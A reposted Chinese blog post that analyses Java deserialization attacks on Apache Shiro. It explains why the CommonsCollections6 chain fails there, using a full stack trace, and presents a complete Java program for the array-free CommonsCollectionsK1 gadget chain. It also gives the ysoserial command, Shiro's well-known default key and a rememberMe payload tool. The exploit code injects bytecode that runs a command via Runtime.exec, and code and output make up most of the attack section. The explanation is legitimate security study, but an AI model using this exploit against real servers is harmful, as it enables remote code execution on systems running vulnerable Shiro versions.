栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 软件开发 > 后端开发 > Java

Java反序列化(十一)CommonCollectionsK1分析及在Shiro中的利用

Java 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

Java反序列化(十一)CommonCollectionsK1分析及在Shiro中的利用

前言

在Shiro中的利用可真是复杂

利用CC6攻击Shiro

使用CC6链生成payload,进行利用。shiro 1.2.4以下默认使用密钥为kPH+bIxk5D2deZiIxcaaaA==。

通过yso获取序列化对象。

java -jar ysoserial.jar CommonsCollections6 "calc.exe" > result.ser

然后通过Serfile_to_rememberme.py生成payload。

python3 Serfile_to_rememberme.py kPH+bIxk5D2deZiIxcaaaA== result.ser > 1.txt

工具地址:https://github.com/Vicl1fe/Tools/blob/main/%E5%B0%8F%E5%B7%A5%E5%85%B7/Shiro%E5%BA%8F%E5%88%97%E5%8C%96%E6%96%87%E4%BB%B6%E8%BD%ACrememberMe/Serfile_to_rememberme.py

发送payload,没有利用成功,tomcat报错如下。

org.apache.shiro.io.SerializationException: Unable to deserialze argument byte array.
	at org.apache.shiro.io.DefaultSerializer.deserialize(DefaultSerializer.java:82)
	at org.apache.shiro.mgt.AbstractRememberMeManager.deserialize(AbstractRememberMeManager.java:514)
	at org.apache.shiro.mgt.AbstractRememberMeManager.convertBytesToPrincipals(AbstractRememberMeManager.java:431)
	at org.apache.shiro.mgt.AbstractRememberMeManager.getRememberedPrincipals(AbstractRememberMeManager.java:396)
	at org.apache.shiro.mgt.DefaultSecurityManager.getRememberedIdentity(DefaultSecurityManager.java:604)
	at org.apache.shiro.mgt.DefaultSecurityManager.resolvePrincipals(DefaultSecurityManager.java:492)
	at org.apache.shiro.mgt.DefaultSecurityManager.createSubject(DefaultSecurityManager.java:342)
	at org.apache.shiro.subject.Subject$Builder.buildSubject(Subject.java:846)
	at org.apache.shiro.web.subject.WebSubject$Builder.buildWebSubject(WebSubject.java:148)
	at org.apache.shiro.web.servlet.AbstractShiroFilter.createSubject(AbstractShiroFilter.java:292)
	at org.apache.shiro.web.servlet.AbstractShiroFilter.doFilterInternal(AbstractShiroFilter.java:359)
	at org.apache.shiro.web.servlet.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:125)
	at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193)
	at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166)
	at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:199)
	at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:96)
	at org.apache.catalina.authenticator.Authenticatorbase.invoke(Authenticatorbase.java:493)
	at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:140)
	at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:81)
	at org.apache.catalina.valves.AbstractAccessLogValve.invoke(AbstractAccessLogValve.java:650)
	at org.apache.catalina.core.StandardEnginevalve.invoke(StandardEnginevalve.java:87)
	at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:342)
	at org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:800)
	at org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:66)
	at org.apache.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:806)
	at org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1498)
	at org.apache.tomcat.util.net.SocketProcessorbase.run(SocketProcessorbase.java:49)
	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149)
	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
	at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
	at java.lang.Thread.run(Thread.java:748)
Caused by: java.lang.ClassNotFoundException: Unable to load ObjectStreamClass [[Lorg.apache.commons.collections.Transformer;: static final long serialVersionUID = -4803604734341277543L;]: 
	at org.apache.shiro.io.ClassResolvingObjectInputStream.resolveClass(ClassResolvingObjectInputStream.java:55)
	at java.io.ObjectInputStream.readNonProxyDesc(ObjectInputStream.java:1868)
	at java.io.ObjectInputStream.readClassDesc(ObjectInputStream.java:1751)
	at java.io.ObjectInputStream.readArray(ObjectInputStream.java:1930)
	at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1567)
	at java.io.ObjectInputStream.defaultReadFields(ObjectInputStream.java:2287)
	at java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:2211)
	at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:2069)
	at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1573)
	at java.io.ObjectInputStream.defaultReadFields(ObjectInputStream.java:2287)
	at java.io.ObjectInputStream.defaultReadObject(ObjectInputStream.java:561)
	at org.apache.commons.collections.map.LazyMap.readObject(LazyMap.java:143)
	at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
	at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
	at java.lang.reflect.Method.invoke(Method.java:498)
	at java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1170)
	at java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:2178)
	at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:2069)
	at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1573)
	at java.io.ObjectInputStream.defaultReadFields(ObjectInputStream.java:2287)
	at java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:2211)
	at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:2069)
	at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1573)
	at java.io.ObjectInputStream.readObject(ObjectInputStream.java:431)
	at java.util.HashSet.readObject(HashSet.java:341)
	at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
	at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
	at java.lang.reflect.Method.invoke(Method.java:498)
	at java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1170)
	at java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:2178)
	at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:2069)
	at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1573)
	at java.io.ObjectInputStream.readObject(ObjectInputStream.java:431)
	at org.apache.shiro.io.DefaultSerializer.deserialize(DefaultSerializer.java:77)
	... 30 more
Caused by: org.apache.shiro.util.UnknownClassException: Unable to load class named [[Lorg.apache.commons.collections.Transformer;] from the thread context, current, or system/application ClassLoaders.  All heuristics have been exhausted.  Class could not be found.
	at org.apache.shiro.util.ClassUtils.forName(ClassUtils.java:148)
	at org.apache.shiro.io.ClassResolvingObjectInputStream.resolveClass(ClassResolvingObjectInputStream.java:53)
	... 65 more

在错误栈中找到最下面的那个类org.apache.shiro.io.ClassResolvingObjectInputStream.resolveClass。

这个类继承了ObjectInputStream,重写了resolveClass方法,该方法是反序列化中用来查找类的方法,读取序列化流的时候,读取到一个字符串形式的类名。需要通过这个方法来找到对应的java.lang.Class对象。

从这就可以发现,Shiro 最终反序列化调用的地方不是喜闻乐见的 ObjectInputStream().readObject,而是用 ClassResolvingObjectInputStream封装了一层,在该 stream 的实现中重写了 resolveClass方法

再次查看报错,出异常时加载的类名为 [Lorg.apache.commons.collections.Transformer;,提示找不到该类,这个类名看起来 怪,其实就是表示org.apache.commons.collections.Transformer的数组。下面具体分析一下,

从错误扒出原理

跟踪org.apache.shiro.io.ClassResolvingObjectInputStream.resolveClass中的ClassUtils.forName方法,可以发现其内部调用的是THREAD_CL_ACCESSOR.loadClass(fqcn);。

查看正常的ObjectInputStream 类中的 resolveClass 方法,可以发现使用的是Class.forName加载类

那么从这里就可以看出Shiro和正常加载类的区别:
Shiro:ClassLoader.loadClass(name)。
正常的:Class.forName(name)

在https://paper.seebug.org/1285/#_4文章中,了解到了两种加载类的方式有以下几点区别:

  • forName默认使用的是当前函数内的 ClassLoader, loadClass的 ClassLoader 是自行指定的
  • forName类加载完成后默认会自动对 Class 执行 initialize 操作, loadClass仅加载类不执行初始化
  • forName可以加载任意能找到的 Object Array, loadClass只能加载Java内置类型的 Object Array

最重要的就是第三点,有一些利用链的终点是ChainedTransformer,这个类中的有一个关键属性是 Transformer[] iTransformers。由于loadClass只能加载Java内置类型的对象数组,所以当Shiro加载这个这个 Transformer的数组时就会提示找不到该类,从而中断反序列化流程,而这就是 CommonsCollections 的大部分利用链都不可用的关键原因。

构造不含有数组的Gadgets(CommonsCollectionsK1)

CommonsCollectionsK1是基于 CommonsCollection版本小于3.2.1的
maven配置


    commons-collections
    commons-collections
    3.2.1
    compile


    org.javassist
    javassist
    3.25.0-GA
    compile

先放出最终payload,

package com.darkerbox;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Transformer;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CommonCollectionsK1 {

    public static void main(String[] args) throws Exception{
        // ClassPool是 CtClass 对象的容器。实例化一个ClassPool容器。
        ClassPool pool = ClassPool.getDefault();
        // 向容器中的类搜索路径的起始位置插入AbstractTranslet.class,个人认为是方便让后面能够找到这个类
        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        // 使用容器新建一个CtClass,相当于新建一个class,类名为Cat
        CtClass cc = pool.makeClass("Cat");
        String cmd = "java.lang.Runtime.getRuntime().exec("calc.exe");";
        // 给这个类创建 static 代码块,并插入到类中
        cc.makeClassInitializer().insertBefore(cmd);
        String randomClassName = "EvilCat" + System.nanoTime();
        // 重新设置类名为一个随机的名字
        cc.setName(randomClassName);
        // 给这个类添加一个父类,即继承该父类。
        cc.setSuperclass(pool.get(AbstractTranslet.class.getName())); //设置父类为AbstractTranslet,避免报错
        // 将这个类输出到项目目录下
        cc.writeFile("./");
        // 将这个class转换为字节数组
        byte[] classBytes = cc.toBytecode();

        getPayload(classBytes);
//        readObject();
    }
    public static void getPayload(byte[] bytecode) throws Exception{
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{bytecode});
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
        // 构造链调用obj.newTransformer()

        InvokerTransformer transformer = new InvokerTransformer("newTransformer", null, null);
        ConstantTransformer faketransformer = new ConstantTransformer(1);
        Map outmap = new HashMap();
        // 后面的map.put方法会调用一次利用链,所以防止报错,这里需要给一个无害transformer
        Map lazyMap = LazyMap.decorate(outmap,faketransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, obj);
        Map map = new HashMap();
        map.put(tiedMapEntry,"213");

        setFieldValue(lazyMap, "factory", transformer);
        // map.put方法中会进入lazymap的get方法。在该方法中,会调用一次transform方法,返回值赋值给value,之后会执行map.put(key,value)。所以map中会多了一个TemplateImpl对象。这样会导致反序列化调用的时候无法进入if判断,所以需要进行clear.
        outmap.clear();

        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(new File("result.ser")));
        oos.writeObject(map);
        oos.close();
    }

    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        final Field field = getField(obj.getClass(), fieldName);
        field.set(obj, value);
    }

    public static Field getField(final Class clazz, final String fieldName) {
        Field field = null;
        try {
            field = clazz.getDeclaredField(fieldName);
            field.setAccessible(true);
        }
        catch (NoSuchFieldException ex) {
            if (clazz.getSuperclass() != null)
                field = getField(clazz.getSuperclass(), fieldName);
        }
        return field;
    }

    public static void readObject() throws IOException, ClassNotFoundException {
        // 反序列化对象
        FileInputStream fileInputStream = new FileInputStream("result.ser");
        ObjectInputStream ois = new ObjectInputStream(fileInputStream);

        ois.readObject();
    }
}

关键在getPayload函数。下面就主要分析一下getPayload函数

问题1

为什么要给lazymap传一个faketransformer?

注意map.put(tiedMapEntry,"213");这行,

在HashMap的put方法中会调用hash(key),意味着这里会触发key.hashcode(),会执行一次链条。执行之后就会报错,会终止程序执行。所以当我们在客户端生成payload的时候,会执行一次链条,而且不会执行后面的writeObject。所以这里写一个无害的Transform:ConstantTransformer。该ConstantTransformer的transform方法,只是会返回this.iConstant,对于ConstantTransformer faketransformer = new ConstantTransformer(1);相当于返回一个1。这样就可以防止报错。(报什么错我这里就不深究了,是RCE后才报错的)

问题2

为什么要outmap.clear();?

在问题1中我们就知道调用map.put的时候会执行一次利用链。如下图,会执行到lazymap.get方法。

此时this.factory是ConstantTransformer,调用transform方法会返回1。所以value的值为1。此时key的值是TemplateImpl对象。

在上图中会调用this.map.put(key, value);,将TemplateImpl对象会put到this.map中。这样就会出现一个问题,就是当反序列化的时候,就不会进入if判断,因为map中已经有了TemplateImpl对象,所以我们生成payload的时候需要去clear掉。

参考

https://www.cnblogs.com/chengez/p/shiro_K1.html
https://paper.seebug.org/1285/

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/346008.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号